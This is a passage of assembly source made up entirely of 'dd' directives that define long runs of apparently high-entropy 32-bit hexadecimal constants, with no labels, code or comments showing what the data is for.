dd 2A452413h, 0FEE8BDB0h, 0B2A1C77Ch, 7226ACB6h, 0C6CF50A0h
dd 0B056E70Ch, 6BC35870h, 0A9AEF806h, 290B3ECh, 0D9E37619h
dd 5F437AA7h, 0FE80F102h, 77F931F6h, 0ED48942Eh, 0C8EEAE92h
dd 0A6054A95h, 4E66110Dh, 0E292A894h, 327F17F2h, 7622E218h
dd 3873241Eh, 0A04F7708h, 7F921313h, 50D584DCh, 6EC1480Dh
dd 5E6A1881h, 21C0258Eh, 83166667h, 4CF6B2C0h, 0C42AC5C3h
dd 0FC06325Bh, 0F80FC073h, 0BC46E083h, 83952E63h, 208800D9h
dd 27DC7992h, 0B61DE6F7h, 46DB6185h, 5B332ABBh, 41BC714Bh
dd 74CD81CCh, 78A96394h, 2253F16Eh, 13E7BD4Ch, 0D3E302FBh
dd 0F394214Dh, 0CF7B1CF4h, 0F3E3DB1Ah, 3814C583h, 96D856DBh
dd 7EB216Eh, 2B487AB2h, 199A7C16h, 50A20618h, 0DFEBC029h
dd 26057179h, 56362E63h, 97CE98CDh, 72EAD67Ah, 0BF153FDEh
dd 766D85BCh, 2BC17E28h, 0A241F049h, 0F05AC269h, 8CB0953Dh
dd 0DFC3EDA1h, 0BD61004Ah, 51E73EB4h, 0B53E14E1h, 66066D49h
dd 31D94008h, 1C9E01ABh, 370D19B8h, 0FBD7F5D7h, 451CA966h
dd 6B4F0B81h, 9C0B88A5h, 5FC13BA2h, 44841B8Bh, 29C2F681h
dd 89BA256Bh, 0A612BD96h, 84E25F28h, 0E7CE5A7Fh, 83150498h
dd 2F416C61h, 3F7BB34Ch, 982B77ECh, 0FDD5EE7Dh, 474EF8B6h
dd 0ECC1AEF2h, 0DD559F8h, 88362476h, 0E2F15AD0h, 2A419183h
dd 74B94E68h, 0A81AD690h, 97C02C48h, 9C573F72h, 81E046E0h
dd 71FDF98Ch, 89698A3Fh, 0CA73F0A3h, 0C987B02Eh, 0A4E10CFAh
dd 0FBEF143Ch, 64778A06h, 7FF55074h, 0DCBD74F0h, 6782E074h
dd 50D5958h, 42C9F5B9h, 0F37D60B9h, 0A281F468h, 0E370F92h
dd 0EE675398h, 2D330E32h, 0E83846DFh, 0DD3A5526h, 0C78D7DFEh
dd 4178DDB7h, 4A5D8941h, 86403080h, 0AEC702DAh, 0B521A07h
dd 634AB20Ah, 0E50F9E9h, 7AA0432Ch, 8B5D8B4Dh, 0F657BB03h
dd 0B59BF913h, 86204EB2h, 0FC555B61h, 550B6233h, 0D694DAF3h
dd 0C5782B44h, 51B54B18h, 1AE96A08h, 0A38E1120h, 375458EEh
dd 1EB75797h, 0A7B18A69h, 89CBCDF4h, 5E7A12F2h, 0C5263DE0h
dd 0B603BDFAh, 0D3131EECh, 0B667A890h, 2E784ADBh, 63AFD6E7h
dd 0A6FC90BEh, 0E9F1EEEAh, 0D381239Eh, 1ACD3B62h, 59FB9615h
dd 53CE772Eh, 0E942EAAAh, 7DFBACA7h, 0EEF56B6Eh, 0AEEA62CDh
dd 0B2359993h, 3ED157A2h, 695F99C2h, 0EA04D4B2h, 735DB80Eh
dd 95D26B3Bh, 24BBD06h, 0B5D1D07Dh, 0A9215310h, 51C5EB7Eh
dd 0F20508Dh, 3D047799h, 0C24E543Ah, 0DAB1246Bh, 0A5317042h
dd 2D65E7E0h, 23935FC4h, 3726C54Bh, 9FAFC233h, 66C882BFh
dd 0C6AC5691h, 97966337h, 0BD14A710h, 33B4406h, 0C3D567C5h
dd 20B46A65h, 0BAA8A4BDh, 0CD1901E8h, 845146C1h, 37A21AC4h
dd 0E0C3220Bh, 159A289Bh, 27F97D40h, 0D146CAE5h, 7475EDA9h
dd 20C7A9A1h, 5B8DEDEDh, 6113D5EFh, 0EB73585Dh, 0D4D7D71h
dd 52914C27h, 7A34F155h
dd 6A26611Dh, 0B02C65A7h, 5748AC27h, 705A1ECCh, 9640B0C1h
dd 0B4E9B19Ch, 0FE99D61Eh, 0C9794BEh, 725AA948h, 0DEB61C5h
dd 390E4453h, 0CCE19627h, 0FA7323E0h, 0F5F2E47Ch, 5100154Fh
dd 799C9C86h, 293FB882h, 0B958502Ah, 0CA616688h, 55D9DE19h
dd 0FA0A20CAh, 0D209B0FDh, 0AD9526EDh, 54E380E8h, 1A43EE0Ah
dd 61AEDAEh, 0EA5F9F11h, 36DC5FF9h, 117A2027h, 7984D483h
dd 73BD5CC8h, 57CEA581h, 3FAA311Fh, 8E30B1FBh, 41A5F692h
dd 9C1B5211h, 0C67CF308h, 57B35E84h, 0B00B2930h, 0A2D98DD6h
dd 9B91A9F1h, 9EDFD9B4h, 40B72F83h, 0E54B5EFCh, 0FDB434EEh
dd 0A6E876F8h, 8017E268h, 0BCFDCF1Ch, 0F3DF019Bh, 0C5E567F0h
dd 42377DEBh, 339AB87Eh, 8B0168CFh, 133553FCh, 9633CFD4h
dd 62EA1DB6h, 0D70FCC8Eh, 4E200619h, 0D7F61720h, 18465009h
dd 335299C7h, 0C974DD0h, 0C241187Fh, 78B1FA7Dh, 0D9917104h
dd 24AB4C54h, 0D7738E7h, 0CCB43D81h, 0B062BD35h, 68E02A79h
dd 0C66BD971h, 0AD5F7CDEh, 89E869A1h, 72CF6BE4h, 82A26CA2h
dd 0C705345Ah, 0F17BCF5h, 0EDCED379h, 31EF2E4Dh, 0FEA06E13h
dd 0C7E2424Ah, 3EEE6CBFh, 0CFC0FBB4h, 8E3851CBh, 7772A852h
dd 0C637138h, 707E374h, 89EE7818h, 0D27C9964h, 53929744h
dd 0ECBB0A13h, 2950C63Bh, 0D4100139h, 8A2CA6E7h, 15F12968h
dd 78AB5EAFh, 4995A376h, 0C4064DEh, 86CD5128h, 0F28D9D8Bh
dd 0DB6D741Ah, 305EC225h, 10DFB0A1h, 0F09AA691h, 0CFEC319Fh
dd 0F46E2130h, 1440126Ah, 896204F9h, 0DABF8C5Ch, 0E8428461h
dd 0AD7655A9h, 335CAAB4h, 0F1DFFEB4h, 44133538h, 0AC67E856h
dd 70D70F2h, 0E927F1A5h, 7F35CD62h, 2BC2E7EBh, 0CDBA40Bh
dd 0BD8CF1E1h, 0DA04F7BFh, 0B4E56EDDh, 9E67577Dh, 0B6BEF142h
dd 10096D27h, 0C9D9950Eh, 85EBF8FAh, 0ED41E66Dh, 6B532294h
dd 0BE7D40Fh, 1B77D463h, 0AA6F2B45h, 1C2B5666h, 9F27225Eh
dd 944E9F15h, 9790216Dh, 0E0230E3Ch, 0E73CAC35h, 5A62C878h
dd 756A7097h, 0C661CFFh, 0B445098Dh, 0D9CC5E88h, 9B1406BFh
dd 93BA5381h, 0CDBD6363h, 2F384E1Ch, 56F36E79h, 62BAA46h
dd 61BEF8h, 7C7BF9E2h, 0D15AE1EEh, 4A2516D4h, 7528B1C5h
dd 41F5C32Fh, 19A53336h, 6E428792h, 1163DD2Fh, 6C38AB30h
dd 4B6D959Eh, 211333C4h, 8873810Ah, 0D3CCC1F5h, 7639216h
dd 0EAE14A07h, 0A2559F00h, 551ADFB8h, 570AF83Ch, 5C12E93h
dd 0E9B6AEBCh, 492681D7h, 182FC31Bh, 0A9DDF72h, 0B82F46AEh
dd 0CCA0B02Ch, 0C507DD67h, 6444A81Ah, 4635B6C1h, 10E8DC79h
dd 9A78A70Bh, 4B4CDFCFh, 7FC466A9h, 0DADA01B2h, 7F1211AAh
dd 8F3434C2h, 86CC048Ah, 0DF577Ah, 86A7CB3Eh, 0EC3E9620h
dd 0A7BBB5E7h, 0B979C284h, 40F10190h, 95F2A6D4h, 0B44A3F3Dh
dd 0FE20CA12h, 0FD3276F1h, 1FF69B15h, 0C7D507E9h, 674414D3h
dd 41889783h, 0B1635747h, 3A764627h, 6CE80D8h, 9DEBA10Dh
dd 8407DC61h, 10B89D7Fh, 15946ABDh, 0F16C6E22h, 9FD857E9h
dd 49B034D2h, 0FC79112Ch, 2144E4EAh, 32CAF9E2h, 48E93265h
dd 170376D7h, 0EEB8DCBAh, 54A99B58h, 22BF6A67h, 71D4163h
dd 0DE89285h, 3153E66Fh, 819D7FBAh, 0DC7859FDh, 6F7A8DBAh
dd 2F58FBF3h, 5A864575h, 8B9F6BEBh, 0CA0A8377h, 45EC6070h
dd 0AF236D0Bh, 0DE0C7B8Eh, 12F4C9E8h, 218318C6h, 7AC67B39h
dd 0DFB22D7Ch, 0BF50AECDh, 108C55D4h, 0E662C1B7h, 0D4B01AD8h
dd 0BD1117Eh, 11C4988Eh, 0CA9C5B0Dh, 0D578CC80h, 0CE7A2A15h
dd 1E0D2A3h, 0E131B0F0h, 5C9F995Ah, 5382BE2Dh, 0B7B7616Dh
dd 64D7F05Ah, 0ACAB7B4Ch, 0A339A66Bh, 6E60571Bh, 38F5B307h
dd 0A290482h, 781DE9D3h, 0B4D8EF2Ch, 23BF567h, 7FEC6350h
dd 0F23BBEA0h, 0CA9796EDh, 0B15EFB12h, 0EE0001DEh, 31D00DAh
dd 48CA1165h, 0CFD8CE1h, 0D4255B70h, 875D2B5Bh, 490F3A4Fh
dd 65550277h, 0B10C9AE2h, 0CBF00F0h, 864DF20Bh, 184043D4h
dd 2EF2CD84h, 0E6AAB630h, 0E7B7D462h, 0CDD87FE1h, 0EFE4669Dh
dd 7A76971Ah, 3411F452h, 0FDEC3966h, 0FDA8C2A0h, 1687B6EBh
dd 0E82BDD4Bh, 0EEF06A12h, 144669ABh, 0D88E039Ah, 8C9F61B7h
dd 0AE34FEAh, 2373776Ch, 0F86A4ABFh, 132F8B2Eh, 9586E0D2h
dd 90694D58h, 81B8E047h, 0FC74B745h, 0E1AC8CC7h, 0CF69A20h
dd 9871DF80h, 18E8CD0Ah, 2B9521B2h, 95001107h, 66971AE0h
dd 0B5B27A23h, 0EED5CE51h, 0CAE842EAh, 156A1F00h, 0C0469896h
dd 820CEAC3h, 6AA39326h, 142728F5h, 8D095E8Bh, 1F0F11DEh
dd 70383C83h, 0DE7F298Fh, 0A5E306Dh, 331008A1h, 0A54409Dh
dd 9DC401A5h, 8A9A05B2h, 8F0E23B5h, 0BB694307h, 3C1D4BCDh
dd 268DC61Fh, 300DFCE1h, 968607DEh, 0CF6283C3h, 0B4D36EA6h
dd 0F4FACF4Fh, 0C99D4976h, 90A52993h, 2186BDA7h, 0DC5AC35Fh
dd 958A3E5Dh, 582D3F77h, 626979C3h, 0BF0DC7Ch, 0EA392D00h
dd 4D965B96h, 0E026EE0Dh, 0A34454C3h, 18ACD0E9h, 0AE8AD135h
dd 237A7D3Bh, 59C431ECh, 922945CDh, 0EE779B21h, 3E7C5DA8h
dd 0EEAD66CAh, 1465D70Bh, 0BCD79CC4h, 835A2019h, 0C14CC27Ch
dd 90CB3410h, 85EDA152h, 9180C340h, 0C9B30DD2h, 1ADD171Ah
dd 32B69EDAh, 0D4E26E46h, 7F35191Ch, 728C8EBBh, 1FDBF0Dh
dd 8AC908EBh, 0B8ECB658h, 0B08B3612h, 0D6C3D1A7h, 498AB192h
dd 42EDB950h, 0BEF0515Bh, 0F96A674h, 0B350F5A4h, 0A1757504h
dd 10AAEC78h, 4D7DBC8Ch, 0C5021345h, 2AF19074h, 5DEB3E75h
dd 61544B66h, 0D2312740h, 7D97BFB9h, 36C69D5h, 65F10BF1h
dd 2E70CCFCh, 6F4D696Dh, 3B908692h, 7C301254h, 0CC42445Ah
dd 0C96E33E9h, 0CBEF5D0h, 0EAC935B1h, 41DE8641h, 0B2165CF6h
dd 0B84DE87Ch, 2714DF59h, 67BC0EE4h, 68F714CAh, 0DA56DB34h
dd 0AB798AEh, 0AD5740A0h, 0B7AECE8Fh, 6EB5CB75h, 0CC346E44h
dd 0E3127CDAh, 16AD7E27h, 0BB97A51h, 5B03F856h, 4AE6DA3h
dd 5FB40A20h, 6D9FABD8h, 0A8F36004h, 0A0EB527h, 0FDD7FF4Dh
dd 0DEE19CE7h, 37E79EE0h, 1F442B47h, 2DD8B308h, 2232C352h
dd 9F247DADh, 0E3F02BB1h, 2CD267EFh, 437B8C4Bh, 90FEB6E8h
dd 4E8F2679h, 4F10ADB0h, 67D89FFh, 0AEEACE9Eh, 0B5DFD545h
dd 88BB3C1Ah, 7768E0BEh, 4DB3DD74h, 767EAA4Eh, 5158F93Ah
dd 40B2B891h, 3472416h, 9FAB0C79h, 0CC4015A4h, 70DA675Fh
dd 0C0F15680h, 0C8A3BEF3h, 9C8DFD98h, 0BCC6911Dh, 8ED0A244h
dd 2729FB58h, 8DECA168h, 0D13BB132h, 571DF4B5h, 4F8DA397h
dd 0D1488218h, 0F9FD142Ch, 7560D04Ch, 37BC5ECAh, 10400949h
dd 4F2B62CCh, 774372C8h, 82E063FBh, 0F4E9241h, 0A278B56h
dd 514F20E3h, 67296569h, 4CBB86A0h, 5FBED111h, 74F4A9B5h
dd 2E7738ADh, 6E4CD92Fh, 7E436C46h, 6D697C7h, 0BE60A7AEh
dd 789EA55Fh, 4997C1BFh, 165D0706h, 8D920714h, 0FE1B9C21h
dd 57221717h, 69C5B376h, 0C7492413h, 0ADF6819Ah, 0DC874265h
dd 0EFC8EF33h, 4C06DD2Eh, 0DE2D3F7Ah, 5A88A333h, 5E115089h
dd 0BF1B74EFh, 0EC67E2D0h, 61B298ACh, 0E4AAE323h, 0EED0361Ch
dd 47C6C04Dh, 6B1F0E45h, 4A589868h, 0D555CD1Ah, 3BAAA8B1h
dd 0FE017646h, 5DA20BD6h, 360685F8h, 6A3F5931h, 0AB4BA4FFh
dd 0F142824Dh, 3BFB8BB5h, 0F6A2F21Fh, 50FC7B5h, 0FD7DBD74h
dd 0AFF1EF23h, 0CEC97CEEh, 8ED0561Ah, 676562A1h, 1E4064CAh
dd 2A54AB7Ch, 122AA6A3h
dd 0E043521Eh, 9C06BCD6h, 7BB8ED80h, 838AD48Dh, 0EE32AF85h
dd 555ED3A7h, 56E1CEB6h, 8BEBE26Bh, 2CA1A48h, 848B346Eh
dd 0F3BD366Dh, 0B1B270A9h, 3F05361Bh, 0AB5F78D1h, 65AFB4F7h
dd 0B9183259h, 0D1F6B4DAh, 9C377510h, 0B9B889EEh, 0EFAD4C60h
dd 0B64327F8h, 1B717F6Fh, 42F03085h, 838B8DE1h, 73906E77h
dd 770F32EEh, 0F30126BBh, 30929DEEh, 56C5471Ch, 0F8631FBh
dd 0D7BCEB6h, 9B2E4DB2h, 0B393C20Ch, 2C1ADFC2h, 2DA26059h
dd 0B2D5E0CDh, 0AD73816Ah, 7DABFE6Eh, 443FF531h, 92AE3552h
dd 7946E234h, 0F595E3BEh, 68246B67h, 823D0894h, 8C7DD421h
dd 94C7F943h, 3BF818B2h, 617F4636h, 0FDFAB2Dh, 18114B5h
dd 6717BE11h, 34D752B3h, 0AB9E6F15h, 8B74E349h, 3C619B12h
dd 1D5C13C5h, 5B8BF40Dh, 0F09F28D4h, 8F932FC4h, 6814C13Ah
dd 0EB423CACh, 19DA080Dh, 0FE4CFB40h, 0F7B98B85h, 0B94A88C2h
dd 9D0FCA68h, 150A435Dh, 0ABC7A0EDh, 214A1E5Bh, 16C7EDD9h
dd 56EE6DBAh, 0AE7999BDh, 6D67747Ch, 0FEB17F4h, 0C35D02EAh
dd 5B629BB0h, 0C02A41B2h, 0BFD671F3h, 6FEE64CBh, 4AC0D26Ch
dd 57481CB4h, 736B97D4h, 0FFDCFE5h, 7B3E355Bh, 93A5DB33h
dd 47D98550h, 0D875F2E9h, 94F77Fh, 27BA7B7Ah, 7EBB76Ch
dd 55711EF2h, 0EDE1E767h, 0F5938C60h, 0BC54B3ECh, 0EC37421Dh
dd 0EB23D892h, 0A2AF67E4h, 0D01B5B7Bh, 0BE04327Dh, 0A8449D4Ch
dd 0A2AA8C72h, 65B9ABD1h, 8D8075B9h, 6399A9B8h, 0F7F36475h
dd 2D1894Dh, 0C3D3BFF4h, 127898DEh, 0B98EDC12h, 0D6C7BEF5h
dd 461DBEFEh, 0CC421D01h, 0F202D475h, 0A14ADF74h, 77042C11h
dd 0C94AB416h, 6FA67B56h, 779A47CCh, 6C6EF43h, 669E2304h
dd 0BD2EC58Ch, 1DF36A3Ah, 0B17A8F84h, 471CC9F5h, 4229C0A3h
dd 9E501352h, 6426D289h, 61307028h, 202442CDh, 0AF6A0053h
dd 0AB0B42B9h, 42F63015h, 0C9A4CB02h, 0C658987Ch, 6631E476h
dd 3F04735Eh, 33329A09h, 0BC631221h, 1B04D51Eh, 0DEF51AB8h
dd 80C7F897h, 4EF82785h, 16F07F5Bh, 0BD9D1FFAh, 2F9AD68Ch
dd 7602D8F1h, 0ACAD2620h, 5608FC61h, 74A377F8h, 851918E1h
dd 0D34F1C97h, 0CB4C3585h, 529FE92Ch, 23F4781Dh, 2DE664A0h
dd 262F0032h, 0EAC96867h, 90CB586Bh, 570797D0h, 93C72EABh
dd 0D05F907Ch, 55A6AC78h, 64812B42h, 0A8D97B6Fh, 87FE3638h
dd 9CD51375h, 630E3179h, 368A34C0h, 0B914C2C5h, 1B54E53Fh
dd 966711B8h, 0B7C39203h, 8B55AA78h, 51FC92BBh, 49A7B125h
dd 84A1C1CEh, 350712D0h, 0BABAE646h, 0AB89CE0Ah, 5FD0953Dh
dd 6862E432h, 0BE210EB4h, 834B095Fh, 1826AA03h, 0D10F34B1h
dd 15D81A12h, 78F4E6FCh, 8FBC4409h, 0CB615A1Bh, 0EC36D70Dh
dd 0BFE6805Eh, 1282489Fh, 0BFF8D6FAh, 43EB9D96h, 6B417EC0h
dd 4C8E533Eh, 9366F10Ah, 825BC05Ah, 4E8DB51Eh, 0B1E7FB3Ch
dd 0FAFFE4FEh, 2495529Dh, 7BD45DD9h, 28A64A7Ah, 76E69E55h
dd 0E6A7B499h, 33901B91h, 82F7B915h, 6799999Eh, 1610EDFFh
dd 0F9668A09h, 948749B4h, 0CAC2A1F8h, 0C38FB8A0h, 9DC88E36h
dd 43D825FBh, 317875EFh, 0AC84187Ch, 131E9100h, 805DF612h
dd 3608E0BBh, 27E7000Ah, 0A30147BCh, 407875DAh, 5C82AFFCh
dd 0D12C99B9h, 1F5C8FD2h, 2D87B48Ah, 46A740F3h, 0E6004F6Dh
dd 0BFC62150h, 908DD866h, 441B6B1Bh, 0B4C3357Bh, 0FFD794D2h
dd 842A5E9Bh, 7E2973E9h, 0C034A40h, 0FD2DE378h, 0D96FAA1Fh
dd 0D945FF09h, 8BF32559h, 7419C978h, 121139AAh, 337F0090h
dd 0C9869DF9h, 0EF051F49h, 867EFA98h, 65EF95ABh, 0E9011981h
dd 3CA327A1h, 6A6E0866h, 2AFE28DAh, 52EA4CC3h, 3B4D7495h
dd 0B2D49F6h, 0B4F4D0BEh, 0E1D63175h, 8FE839D6h, 0B300B790h
dd 65769E58h, 0D86B8858h, 0EBD06DCh, 0EE39475Ah, 3AD08023h
dd 371AD9EDh, 7551CE76h, 0D8CBE9E4h, 54EA69E2h, 0E44A2821h
dd 3142B0FBh, 0F430CDFBh, 9CBD8680h, 8865C744h, 0A236BF9Ah
dd 954D48FEh, 3E5798EFh, 7A5BC2ADh, 11D41EC5h, 567B1960h
dd 76CB2433h, 0F2027F2Ch, 837C737Ch, 0CF95C5D3h, 2E4AFC5Bh
dd 3B3B7ED6h, 0E69F851Ch, 1CDCCBD9h, 0F7168D0Ch, 0B0C58320h
dd 4C64DC2h, 0F0E1AA47h, 5DBA42CFh, 2B7C9577h, 4C9B9799h
dd 38CCB0D8h, 0A1C213D7h, 0AD559259h, 8E5A8EFh, 61EA2950h
dd 0CC8ECA36h, 5252B93Eh, 0EAF48BCh, 2FFC7BE2h, 0FD9DE7CBh
dd 435E855Eh, 5C410A0Dh, 5F0A5B9Ah, 0A63B2280h, 6FF77A37h
dd 6675AB56h, 0E09462A8h, 0BE86026Fh, 8B359C9Dh, 82E6ADAEh
dd 479C6D49h, 9B0FD065h, 0CAEE7316h, 8BE3AEE8h, 0A81BA48Dh
dd 0F2E38700h, 6650646Ch, 0B3E0EB83h, 0B5FE7B4Eh, 4E6D813h
dd 95F9F523h, 0E095855Dh, 67E9880Fh, 89AAFD70h, 0E219353Bh
dd 0AFFA4608h, 44E286F9h, 49139C20h, 5F4293AFh, 23EE49A5h
dd 0AA6658CFh, 0E791158Eh, 190BBB58h, 0D3B4BD7Dh, 356EF090h
dd 401E462Bh, 0F59CF34Bh, 78810172h, 17D942FDh, 902D3861h
dd 0C44AADF0h, 2303A4C6h, 772F5268h, 0C62FCEB5h, 8765FD49h
dd 0B47C635Dh, 2ACAFF27h, 3B82E00Ch, 1FAE2DDCh, 57B6823Bh
dd 0D992E814h, 0FF1A47D6h, 3D6DFC01h, 9C4EFC4Bh, 6FB79967h
dd 0B8A2B299h, 0D31B10F2h, 0F981A0EBh, 3982CAE7h, 93C6F212h
dd 915DC8AAh, 0B04AB677h, 0E89BC65Dh, 35C630B5h, 757B08E6h
dd 0ECA473FEh, 0B1F2C3E0h, 0B7ACEF26h, 8233C76Ch, 759AA4h
dd 0EED3B61Ch, 219E05CAh, 0E1BFD3CAh, 0ED55ED81h, 0E372C775h
dd 0B40970F2h, 0B1BB041Eh, 64096DE3h, 0AC09A041h, 60B519Bh
dd 5D446468h, 199232FCh, 0D9DA404Fh, 1BA7614h, 145B4DE6h
dd 5D587B4Dh, 2A099EC3h, 5E257444h, 5419BA8Ah, 0E2341D25h
dd 0D0F09A53h, 1E24F782h, 19BF5B48h, 0B3C51801h, 29B0B0D5h
dd 0B18723Fh, 8096AFC5h, 0C21513B5h, 48B7C29h, 0C2ACBE2Dh
dd 0D20BE50Ah, 2C8CBB6Ah, 642AE4A4h, 0E690BACDh, 0D13EDF08h
dd 0C3039CD2h, 35876991h, 0E9A7F2D4h, 3F8C4BA6h, 72BC4610h
dd 4F848A7Ah, 4BCD345Eh, 695C8111h, 5AA0FF76h, 598C0895h
dd 39CAE520h, 0A0DB0FD1h, 0BD3CEE86h, 345942A7h, 0FC0B987Bh
dd 65F1E279h, 9F451463h, 105C3A31h, 1F5B6188h, 8F622550h
dd 77A5DD85h, 3D31FE49h, 0C30B2FBEh, 0A8AFE931h, 0C571A7h
dd 0DF578984h, 0B4568C45h, 3C9B4450h, 1AD31DE5h, 6884941Eh
dd 0E72E40DDh, 856FAA98h, 0F6E7EE5Dh, 85DC5ADBh, 4D0FB3A4h
dd 1CD4F877h, 2E50F3Fh, 53A8D082h, 63DB2360h, 0B33D2FF5h
dd 0B3C32FEAh, 6BA2ADh, 0C065E61Ah, 55FEC78Fh, 0B09EB320h
dd 0E02798AEh, 0E5A625h, 90654DA7h, 0A451E090h, 72650F9Eh
dd 0FE0706D5h, 0D30B2985h, 741E7E27h, 5E8798D5h, 81BB2BF9h
dd 674707AEh, 736AD62Bh, 1D77E609h, 9BD5B8ACh, 20F7FCB1h
dd 0A4BC5F04h, 1A5BE615h, 0F5741BDh, 58B103ADh, 6280CB47h
dd 1F5B07EEh, 35D4AE98h, 0A1752FC1h, 888FA330h, 0A25597A4h
dd 0BF68AF53h, 0B2F562ECh, 7F917B33h, 0A39FD61h, 7835A72Eh
dd 0C234236Eh, 3AFAF221h, 0D0296AEh, 0D18A3476h, 0EC64521Ch
dd 55187715h, 0BD2C6CD9h, 0CF076183h, 8797BFF4h, 9B364684h
dd 405BB72Ch, 0FA050360h, 687A3710h, 0ADD9C821h, 99A8FB0Ch
dd 0B8F60F6Ch, 41AF3A75h, 2E601D17h, 60E9ECh, 80C8BDF9h
dd 0C0F28788h, 44DE87E4h, 26B255A7h, 0EBC5C9ADh, 7E241734h
dd 21CC7883h, 0C7A918F8h
dd 32291461h, 0FBEC1D22h, 3FD7A1E2h, 2F9688DBh, 0CCCF935h
dd 0DF16CBB3h, 0ADF13B29h, 0AC2D2C71h, 0DADE4204h, 0B28DA047h
dd 0D826735Dh, 0B5A8E94Eh, 1DEB3FADh, 0B21EBD7h, 0E3D9842Ah
dd 0A99D1C8h, 2116E012h, 1DCF3E37h, 0AC49055Dh, 19A38986h
dd 2E7A2FABh, 69D73D8h, 6BA183F6h, 3A3A43ECh, 8A7EFB6h
dd 0E3AB2E44h, 0E49B556Ch, 0DD892941h, 0EB45FD3Ch, 33A4DE98h
dd 8B55524Ah, 2194B853h, 9575F119h, 2128E673h, 56D72178h
dd 0B924A354h, 7ACD0A47h, 0ACD1789Ch, 172157CFh, 1C268E03h
dd 0F9EBF2D3h, 87B35DBCh, 0A35FEAFCh, 42301BC3h, 8E1A0C4Eh
dd 0FDED4F25h, 0FCE259DFh, 0BDF83832h, 4DF8DE0Ch, 5DC1A777h
dd 8320ED07h, 0A29262BBh, 0CAD46C3Bh, 7B150BB2h, 0A71F8744h
dd 0D11A43D0h, 8889E665h, 0C68879A1h, 0E7BC83B5h, 8551E813h
dd 3AC56727h, 48DBB542h, 0E4587B64h, 1C8F0B97h, 25565437h
dd 0BF18FF4Eh, 0F2B36964h, 95283F68h, 0DEE5011Ch, 638FD37Fh
dd 0D537DE0Eh, 0BDAC3B0Fh, 2DF88263h, 0C1135B05h, 0EAE0B046h
dd 0C60ED264h, 0E97B0094h, 0BA8B6B75h, 0B3CEF80Dh, 0CAB6811Dh
dd 69850E2Bh, 3294A893h, 3705785Eh, 1E6750E1h, 11EF56E0h
dd 19FBC9Bh, 69C95454h, 84F42AE1h, 0EC73ABD8h, 9CF5E6CFh
dd 0ED686F79h, 863D8E66h, 2D28FB92h, 0F4DCEE7Bh, 6A5EC0CCh
dd 0A778CE0Bh, 5D5E05B5h, 6A85C5D0h, 8C4D2CA0h, 112B8CBh
dd 48BF75F9h, 575B3021h, 522B1B64h, 9C77D9CEh, 605DD644h
dd 9BF08E4Eh, 7F228359h, 4E20F60Bh, 0BD977E75h, 6DBBBA72h
dd 0DD04E3A8h, 85121FEDh, 716A4C80h, 95FB40F9h, 0D5759080h
dd 0F513D1CFh, 4BD959D3h, 27010A1h, 0F9DB5B1Dh, 0AD7D51C7h
dd 167EACB2h, 62E5ADF6h, 56031CACh, 0A73B77A9h, 0C5C6EE9Ah
dd 0E8FE3154h, 45D2F32h, 11DD3395h, 9E70AD59h, 0C7C08DA5h
dd 1E4AC8ECh, 686C49C9h, 198FD5Ch, 0E5C266C6h, 174E16CAh
dd 817A1DB9h, 0DDADE388h, 0B7479BE5h, 37B036E5h, 495C48F3h
dd 80D1558h, 10B2E6C9h, 0A95FED7h, 51EDA0D7h, 6B01E868h
dd 621F7338h, 26A7F3B0h, 772DDF81h, 3F6DA7BEh, 0A216BF1Fh
dd 5CDC38DCh, 0B2E1D60Fh, 0C82C8429h, 1507C9B8h, 0B6A3E2B3h
dd 0BCCE4211h, 119F6A0h, 223E7D03h, 67E37234h, 4BC6A7FDh
dd 0A9D5665Bh, 0AB970AE0h, 520990D7h, 98B48960h, 0C5ED7147h
dd 13CD9A97h, 64E28E9h, 1F0AEBB3h, 631639E4h, 0BD150426h
dd 872430BBh, 8E08C370h, 0E3D30BAh, 0C1186F87h, 2D0F2768h
dd 8D9996F5h, 0AEC04982h, 6D5D3ED5h, 1B91E376h, 0D01ECBF1h
dd 23516D2Ch, 0DC0AF036h, 70A6171Eh, 0D71070E7h, 547DE6D2h
dd 1175872Eh, 0D245C7E1h, 98825B73h, 9DDE2A5Bh, 0DB97099Dh
dd 210B976Fh, 0C573308Eh, 3937BCB1h, 0C8D65F3Fh, 0C55D9C1Ch
dd 2A57CE5Ah, 0F7B77AD9h, 9D5FA0D0h, 0AAFB5739h, 0CFC3357Dh
dd 15205565h, 7F6DA794h, 0B8F97B7Ch, 0D7EDCCC6h, 0AE329F72h
dd 5115B36Fh, 20386D06h, 375BB734h, 2A8D4D9Dh, 0B2DC3A1Ah
dd 59F8876Dh, 0B8F81C18h, 0AC417B2Fh, 1EE2FFC3h, 0EC426446h
dd 0CB0C56D3h, 3474C51Eh, 0EE657587h, 0C9C0204Ch, 4A015F3h
dd 709A7F1h, 9CCF30C7h, 7FB189EEh, 8FB5281Ch, 1E314A9Eh
dd 7C822A34h, 0A376C1E9h, 96082664h, 0B9242FFh, 0E3C162E4h
dd 15A7B3ECh, 0D5CADBC7h, 7DC5900Fh, 6664952Dh, 12765755h
dd 541C0ACAh, 0AE0CBCB3h, 90C0CC73h, 56028039h, 0A5764B48h
dd 6DF2D81Fh, 401FE59Bh, 8B16F6B6h, 5712837h, 87CCBFE5h
dd 0E1BBBE42h, 7700027Bh, 0EC509A0Ch, 0A58A6D77h, 0BC5611A4h
dd 67B3FC9Ch, 0FE992E32h, 2004C616h, 0DA828721h, 5B4CFB7Dh
dd 0A7C4B0BAh, 1C994F9Dh, 0B681473Eh, 27A32D1Bh, 9DAEF4C7h
dd 782A440Ch, 9C292A47h, 3D30E192h, 939A3EE7h, 0CE7D6A83h
dd 190E969Dh, 0EAFDD6FBh, 636B288h, 83096D62h, 7E6A0C4Ch
dd 0E807A0Dh, 307F2453h, 0AAD44E30h, 57FA1678h, 0BF31C9BDh
dd 0E0079BFFh, 79097050h, 0B89FDB93h, 0D13B5ABEh, 0A368C2F4h
dd 0F36C7A7Ch, 5E3CB2A3h, 3324FA84h, 67958DDDh, 0B33504DEh
dd 3C7F705Fh, 3EFF2347h, 5D7B525Ah, 0B7A97ACBh, 0ABCC494Bh
dd 0F267A1D2h, 9072B8h, 4F50045Ah, 0D98B11Ah, 362C6D27h
dd 0C7E70E3Ch, 0D02FDCF2h, 8BC735B9h, 0DEDB91C1h, 0A8C6F54Dh
dd 1C68DA5h, 6EE8759Ch, 6BFA550Dh, 4CDD2D9Ch, 0C8EE3E64h
dd 0C12D7188h, 0BB56F349h, 0F50F47CFh, 5FF46EBBh, 435AAB4h
dd 0F986BB7Dh, 0DAC4CBAh, 7C24F711h, 8AFF64FBh, 23D3E7C3h
dd 0F3CA57D6h, 0D46482Bh, 0CFC43318h, 26E951DDh, 0F3E9FD15h
